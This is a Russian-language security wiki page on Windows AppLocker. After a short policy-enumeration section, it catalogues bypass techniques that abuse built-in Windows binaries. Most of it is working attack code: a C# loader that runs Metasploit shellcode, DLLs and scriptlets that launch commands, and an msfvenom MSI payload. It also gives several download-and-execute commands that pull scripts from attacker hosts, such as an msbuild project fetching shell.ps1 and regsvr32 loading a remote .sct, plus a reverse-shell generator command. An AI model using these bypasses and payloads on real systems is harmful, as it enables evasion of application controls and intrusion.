Applocker — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Обход AppLocker)
м (control.exe)
Строка 262: Строка 262:
  
 
Исходный код DLL:
 
Исходный код DLL:
<syntaxhighlight lang="С" line="1" enclose="div" style="overflow-x:scroll" >
+
<syntaxhighlight lang="С++" line="1" enclose="div" style="overflow-x:scroll" >
 
#include <stdio.h>
 
#include <stdio.h>
 
#include <Windows.h>
 
#include <Windows.h>

Версия 11:04, 17 марта 2022

Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.

Позволяет управлять:

  • Исполняемые файлы
    • EXE
    • COM
  • Скрипты
    • JS
    • PS1
    • VBS
    • CMD
    • BAT
  • Установочные файлы
    • MST
    • MSI
    • MSP
  • Библиотеки
    • DLL
    • OCX
  • Упакованные приложения
    • APPX

Общее

Получение политики (все юзеры)

1 Get-ApplockerPolicy -effective

Получение политики (все группы текущего пользователя)

 1 $a = Get-ApplockerPolicy -effective
 2 
 3 $u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
 4 $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)
 5 
 6 Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
 7 $f = 0;
 8 $v = $y.UserOrGroupSid.value; 
 9 Foreach ($z in $g){
10 if (($z.Value -eq $u) -or ($z.Value -eq $v)){
11 $f= 1;
12 };
13 };
14   if ($f -eq 1){
15 Write-Output $y.PathConditions;
16 Write-Output $y.Action;
17 }
18 }}

Однострочник

1 $a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};

Обход AppLocker

Альтернативный канал

Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его:


Варианты записи в альтернативный канал:

1 type test.exe > C:\logs:test.exe
2 extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
3 esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
4 powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
5 curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
6 cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
7 makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab


Запуск созданного .exe:

1 # type test.exe > C:\logs:test.exe
2 wmic process call create '"C:\logs:test.exe"'


Можно попробовать воспользоваться записью в альтернативный канал следующих файлов:

1 C:\Windows\System32\AppLocker\AppCache.dat
2 C:\Windows\System32\AppLocker\AppCache.dat.LOG1
3 C:\Windows\System32\AppLocker\AppCache.dat.LOG2

odbcconf.exe

Запуск DLL

Исходный код:

 1 //odbcconf.exe /F file.rsp
 2 
 3 using System;
 4 using System.Runtime.InteropServices;
 5 using RGiesecke.DllExport;
 6 using System.Collections.ObjectModel;
 7 using System.Management.Automation;
 8 using System.Management.Automation.Runspaces;
 9 using System.Text;
10 
11 public class Test
12 {
13 
14     [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
15     public static bool DllRegisterServer()
16     {
17         while (true)
18         {
19             AllocConsole();
20             IntPtr defaultStdout = new IntPtr(7);
21             IntPtr currentStdout = GetStdHandle(StdOutputHandle);
22             Console.Write("PS >");
23             string x = Console.ReadLine();
24             try
25             {
26                 Console.WriteLine(RunPSCommand(x));
27             }
28             catch (Exception e)
29             {
30                 Console.WriteLine(e.Message);
31             }
32         }
33         return true;
34     }
35     //Based on Jared Atkinson's And Justin Warner's Work
36     public static string RunPSCommand(string cmd)
37     {
38         //Init stuff
39         Runspace runspace = RunspaceFactory.CreateRunspace();
40         runspace.Open();
41         RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
42         Pipeline pipeline = runspace.CreatePipeline();
43 
44         //Add commands
45         pipeline.Commands.AddScript(cmd);
46 
47         //Prep PS for string output and invoke
48         pipeline.Commands.Add("Out-String");
49         Collection<PSObject> results = pipeline.Invoke();
50         runspace.Close();
51 
52         //Convert records to strings
53         StringBuilder stringBuilder = new StringBuilder();
54         foreach (PSObject obj in results)
55         {
56             stringBuilder.Append(obj);
57         }
58         return stringBuilder.ToString().Trim();
59     }
60 
61     public static void RunPSFile(string script)
62     {
63         PowerShell ps = PowerShell.Create();
64         ps.AddScript(script).Invoke();
65     }
66 
67     private const UInt32 StdOutputHandle = 0xFFFFFFF5;
68     [DllImport("kernel32.dll")]
69     private static extern IntPtr GetStdHandle(UInt32 nStdHandle);
70     [DllImport("kernel32.dll")]
71     private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
72     [DllImport("kernel32")]
73     static extern bool AllocConsole();
74 
75 }

Запуск DLL:

1 odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}

Запуск RSP -> DLL

Тот же исходный код DLL, помещенный в ту же директорию, где будет расположен payload.rsp:

1 REGSVR odbcconf.dll

Запуск RSP-файла (DLL в той же директории):

1 odbcconf.exe /F payload.rsp

msiexec

Создание msi:

1 msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

Запуск MSI:

1 msiexec /z C:\Tools\Dll1.dll
2 msiexec /quiet /i cmd.msi
3 msiexec /q /i http://192.168.100.3/tmp/cmd.png

Запуск DLL (код схож с Regsvr32):

1 # Вызывает DLLRegisterServer (для удаления библиотеки из системы)
2 msiexec /z C:\Tools\Dll1.dll
3 
4 # Вызывает DLLRegisterServer (для добавления библиотеки в систему)
5 msiexec /y C:\Tools\Dll1.dll

verclsid.exe

Пример запуска:

1 verclsid /S /C {00000001-0000-0000-0000-0000FEEDACDC}

SID - CLASS ID файла, уникальный идентификатор COM-обьекта.


hh.exe (Compiled HTML)

Файл Out-CHM.ps1: https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

Генерация:

1 Out-CHM -Payload "calc.exe" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Запуск:

1 hh.exe doc.chm


Также инструкция как самостоятельно собрать CHM-проект: https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7

control.exe

Исходный код DLL:

#include <stdio.h>
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("C:\\windows\\system32\\calc.exe");
    }
    return 0;
}

Запуск:

1 control.exe c:\windows\tasks\file.txt:evil.dll

Presentationhost.exe

Возможно создать приложение .xbap и запустить его командой:

1 Presentationhost.exe file:///tmp/poc.xbap

Подробнее о создании .xbap: https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4

Regsvcs.exe / Regasm

Генерируем ключ (для подписи потребуется, но не обязательно):

1 sn -k key.snk
2 
3 # Или так
4 
5 $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
6 $Content = [System.Convert]::FromBase64String($key)
7 Set-Content key.snk -Value $Content -Encoding Byte

Создаем файл regsvcs.cs:

  1 using System;
  2 using System.EnterpriseServices;
  3 using System.Runtime.InteropServices;
  4 
  5 /*
  6 
  7 Author: Casey Smith, Twitter: @subTee
  8 License: BSD 3-Clause
  9 
 10 Create Your Strong Name Key -> key.snk
 11 
 12 $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
 13 $Content = [System.Convert]::FromBase64String($key)
 14 Set-Content key.snk -Value $Content -Encoding Byte
 15 
 16 C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs
 17 
 18 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll 
 19 [OR]
 20 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
 21 //Executes UnRegisterClass If you don't have permissions
 22 
 23 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll 
 24 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
 25 //This calls the UnregisterClass Method
 26 
 27 */
 28 namespace regsvcser
 29 {
 30     
 31     public class Bypass : ServicedComponent
 32     {
 33         public Bypass() { Console.WriteLine("I am a basic COM Object"); }
 34 		
 35 		[ComRegisterFunction] //This executes if registration is successful
 36 		public static void RegisterClass ( string key )
 37 		{
 38 			Console.WriteLine("I shouldn't really execute");
 39 			Shellcode.Exec();
 40 		}
 41 		
 42 		[ComUnregisterFunction] //This executes if registration fails
 43 		public static void UnRegisterClass ( string key )
 44 		{
 45 			Console.WriteLine("I shouldn't really execute either.");
 46 			Shellcode.Exec();
 47 		}
 48     }
 49 	
 50 	public class Shellcode
 51     {
 52         public static void Exec()
 53         {
 54             // native function's compiled code
 55             // generated with metasploit
 56             // executes calc.exe
 57             byte[] shellcode = new byte[193] {
 58 			0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
 59 			0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
 60 			0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
 61 			0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
 62 			0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
 63 			0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
 64 			0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
 65 			0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
 66 			0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
 67 			0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
 68 			0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
 69 			0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
 70 			0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
 71 
 72 
 73 
 74             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
 75                                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 76             Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
 77             IntPtr hThread = IntPtr.Zero;
 78             UInt32 threadId = 0;
 79             // prepare data
 80 
 81 
 82             IntPtr pinfo = IntPtr.Zero;
 83 
 84             // execute native code
 85 
 86             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
 87             WaitForSingleObject(hThread, 0xFFFFFFFF);
 88             return;
 89         }
 90 
 91         private static UInt32 MEM_COMMIT = 0x1000;
 92 
 93         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
 94 
 95         [DllImport("kernel32")]
 96         private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
 97              UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
 98 
 99 
100         [DllImport("kernel32")]
101         private static extern IntPtr CreateThread(
102 
103           UInt32 lpThreadAttributes,
104           UInt32 dwStackSize,
105           UInt32 lpStartAddress,
106           IntPtr param,
107           UInt32 dwCreationFlags,
108           ref UInt32 lpThreadId
109 
110           );
111 
112         [DllImport("kernel32")]
113         private static extern UInt32 WaitForSingleObject(
114 
115           IntPtr hHandle,
116           UInt32 dwMilliseconds
117           );
118 
119 
120     }
121 
122 }

Второй вариант кода (попроще):

 1 using System;
 2 using System.EnterpriseServices;
 3 using System.Runtime.InteropServices;
 4 using System.Management.Automation;
 5 namespace regsvcser
 6 {
 7     
 8     public class Bypass : ServicedComponent
 9     {
10         public Bypass() { Console.WriteLine("I am a basic COM Object"); }
11 		
12 		[ComUnregisterFunction] //This executes if registration fails
13 		public static void UnRegisterClass ( string key )
14 		{
15 			PowerShell ps = PowerShell.Create();
16 			ps.AddCommand("Invoke-Expression");
17 			ps.AddArgument("payload");
18 			ps.Invoke();	
19 		}
20     }
21 
22 }


Компиляция:

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs


  • Опция /U запускает класс UnRegisterClass.
  • Отсутствие опции /U запускает класс RegisterClass (или UnRegisterClass если нет прав).


Запуск:

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
2 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
3 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll
4 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

Интерпретаторы

  • python
  • perl
  • java

И так далее

Макросы ворда

Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.

Небезопасные политики

Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.


InstallUtil

Для запуска PowerSherll см. amsi

Также можно воспользоваться утилитой: https://github.com/khr0x40sh/WhiteListEvasion

1 python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windows/shell_reverse_tcp --lhost 192.168.68.104 --lport 443
2 
3 # компилируем
4 csc.exe temp.cs
5 
6 # Запускаем
7 .\InstallUtil.exe /logfile= /LogToConsole=false /U temp.exe

regsvr32.exe

test.sct:

 1 <?XML version="1.0"?>
 2 <scriptlet>
 3 <registration
 4   progid="TESTING"
 5   classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
 6   <script language="JScript">
 7     <![CDATA[
 8       var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
 9     ]]>
10 </script>
11 </registration>
12 </scriptlet>
1 regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll

Microsoft.Workflow.Compiler.exe

test.xml:

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
 3 <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
 4 <d2p1:string>test.xoml</d2p1:string>
 5 </files>
 6 <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
 7 <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
 8 <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
 9 <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
10 <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
11 <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
12 <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
13 <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
14 <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
15 <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
16 <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
17 <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
18 <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
19 <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
20 <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
21 <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
22 <d2p1:checkTypes>false</d2p1:checkTypes>
23 <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
24 <d2p1:compilerOptions i:nil="true" />
25 <d2p1:generateCCU>false</d2p1:generateCCU>
26 <d2p1:languageToUse>CSharp</d2p1:languageToUse>
27 <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
28 <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
29 <d2p1:mtInfo i:nil="true" />
30 <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
31 </parameters>
32 </CompilerInput>


text.xoml:

 1 <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
 2     <CodeActivity x:Name="codeActivity1" />
 3     <x:Code><![CDATA[
 4     public class Foo : SequentialWorkflowActivity {
 5      public Foo() {
 6             Console.WriteLine("FOOO!!!!");
 7         }
 8     }
 9     ]]></x:Code>
10 </SequentialWorkflowActivity>


Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его:

1 C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml

Полный фрагмент кода для автоматизации запуска:

 1 function New-CompilerInputXml {
 2 <#
 3 .SYNOPSIS
 4 Creates a an XML file consisting of a serialized CompilerInput object.
 5 .DESCRIPTION
 6 New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
 7 .PARAMETER XOMLPath
 8 Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
 9 .PARAMETER OutputPath
10 Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
11 .EXAMPLE
12 New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
13 Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
14 .EXAMPLE
15 New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
16 Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
17 .OUTPUTS
18 System.IO.FileInfo
19 Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
20 #>
21 
22     [OutputType([System.IO.FileInfo])]
23     param (
24         [String]
25         [ValidateNotNullOrEmpty()]
26         $XOMLPath = 'test.xoml',
27 
28         [Parameter(Mandatory = $True)]
29         [String]
30         [ValidateNotNullOrEmpty()]
31         $OutputPath
32     )
33 
34     # This assembly won't be loaded by default. We need to load
35     # it in order to get access to the WorkflowCompilerParameters class.
36     Add-Type -AssemblyName 'System.Workflow.ComponentModel'
37 
38     # This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
39     $WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
40 
41     # Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
42     $WFCompilerParams.GenerateInMemory = $True
43 
44     # Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
45     $WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'
46 
47     # Load the assembly
48     $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)
49 
50     # This is the helper method that will serialize the CompilerInput object to disk
51     $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
52 
53     $TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))
54 
55     Move-Item $TempFile $OutputPath -PassThru
56 }

Подробнее тут: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb


msbuild.exe

test.csproj:

 1 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 2   <!-- This inline task executes c# code. -->
 3   <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
 4   <Target Name="Hello">
 5    <ClassExample />
 6   </Target>
 7 	<UsingTask
 8     TaskName="ClassExample"
 9     TaskFactory="CodeTaskFactory"
10     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
11 	<Task>
12 	 <Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
13 	 <!-- Your PowerShell Path May vary -->
14       <Code Type="Class" Language="cs">
15         <![CDATA[
16 			// all code by Casey Smith @SubTee
17 			using System;
18 			using System.Reflection;
19 			using Microsoft.Build.Framework;
20 			using Microsoft.Build.Utilities;
21 			
22 			using System.Collections.ObjectModel;
23 			using System.Management.Automation;
24 			using System.Management.Automation.Runspaces;
25 			using System.Text;
26 				
27 			public class ClassExample :  Task, ITask
28 			{
29 				public override bool Execute()
30 				{
31 					//Console.WriteLine("Hello From a Class.");
32 					Console.WriteLine(powaShell.RunPSCommand());
33 					return true;
34 				}
35 			}
36 			
37 			//Based on Jared Atkinson's And Justin Warner's Work
38 			public class powaShell
39 			{
40 				public static string RunPSCommand()
41 				{
42 										
43 					//Init stuff
44 					
45 					InitialSessionState iss = InitialSessionState.CreateDefault();
46 					iss.LanguageMode = PSLanguageMode.FullLanguage;
47 					Runspace runspace = RunspaceFactory.CreateRunspace(iss);
48 					runspace.Open();
49 					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
50 					Pipeline pipeline = runspace.CreatePipeline();
51 					
52 					//Interrogate LockDownPolicy
53 					Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());				
54 					
55 					
56 					
57 					//Add commands
58 					pipeline.Commands.AddScript("IEX (iwr 'http://10.10.10.10/shell.ps1')");  // powershell 3.0+ download cradle
59 					//Prep PS for string output and invoke
60 					pipeline.Commands.Add("Out-String");
61 					Collection<PSObject> results = pipeline.Invoke();
62 					runspace.Close();
63 					//Convert records to strings
64 					StringBuilder stringBuilder = new StringBuilder();
65 					foreach (PSObject obj in results)
66 					{
67 						stringBuilder.Append(obj);
68 					}
69 					return stringBuilder.ToString().Trim();		  
70 				}
71 			}
72 							
73         ]]>
74       </Code>
75     </Task>
76   </UsingTask>
77 </Project>

Скрипт загружает powershell-файл по ссылке http://10.10.10.10/shell.ps1


Нужно только скомпилировать проект:

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Users\Public\Downloads\powashell.csproj

cmstp.exe

Местоположение файлов:

1 # x64
2 C:\Windows\System32\cmstp.exe
3 # x32
4 C:\Windows\SysWOW64\cmstp.exe

Запуск DLL

Содержимое файла cmstp.inf (отредактировать путь до dll):

 1 [version]
 2 Signature=$chicago$
 3 AdvancedINF=2.5
 4  
 5 [DefaultInstall_SingleUser]
 6 RegisterOCXs=RegisterOCXSection
 7  
 8 [RegisterOCXSection]
 9 C:\Users\test.PENTESTLAB\pentestlab.dll
10  
11 [Strings]
12 AppAct = "SOFTWARE\Microsoft\Connection Manager"
13 ServiceName="Pentestlab"
14 ShortSvcName="Pentestlab"


Запуск:

1 cmstp.exe /s cmstp.inf

Запуск SCT

Файл SCT можно найти тут: https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/

Или другой вариант SCT: https://gist.github.com/netbiosX/297ea22d3475bb7216a7525f1ee82568

Содержимое файла cmstp.inf (отредактировать путь до powersct.sct):

 1 [version]
 2 Signature=$chicago$
 3 AdvancedINF=2.5
 4  
 5 [DefaultInstall_SingleUser]
 6 UnRegisterOCXs=UnRegisterOCXSection
 7  
 8 [UnRegisterOCXSection]
 9 %11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
10  
11 [Strings]
12 AppAct = "SOFTWARE\Microsoft\Connection Manager"
13 ServiceName="Pentestlab"
14 ShortSvcName="Pentestlab"


Windows Script Host

mshta.exe

Запуск .hta файлов.


Пример:

1 # Нужен полный путь до файла
2 mshta.exe C:\test.hta
3 
4 # или http-ссылка
5 mshta.exe http://1.1.1.1/test.hta

wscript.exe

Запуск Wscript(.wsf) файлов.

cscript.exe

Заапуск VBScript(.vbs), Jscript(.js) и Wscript(.wsf) файлов.

WMIC + XLS

test.xls:

 1 <?xml version='1.0'?>
 2 <stylesheet
 3 xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
 4 xmlns:user="placeholder"
 5 version="1.0">
 6 <output method="text"/>
 7 	<ms:script implements-prefix="user" language="JScript">
 8 	<![CDATA[
 9 	var r = new ActiveXObject("WScript.Shell").Run("calc");
10 	]]> </ms:script>
11 </stylesheet>

Запуск:

1 wmic os get /FORMAT:"test.xsl"
2 
3 # Или http
4 wmic process get brief /format:"http://10.0.2.4:8000/applocker_xsl.xsl"

Ссылки

Статьи

0xsp.com

pentestlab.blog

evi1cg.me

dmcxblue.gitbook.io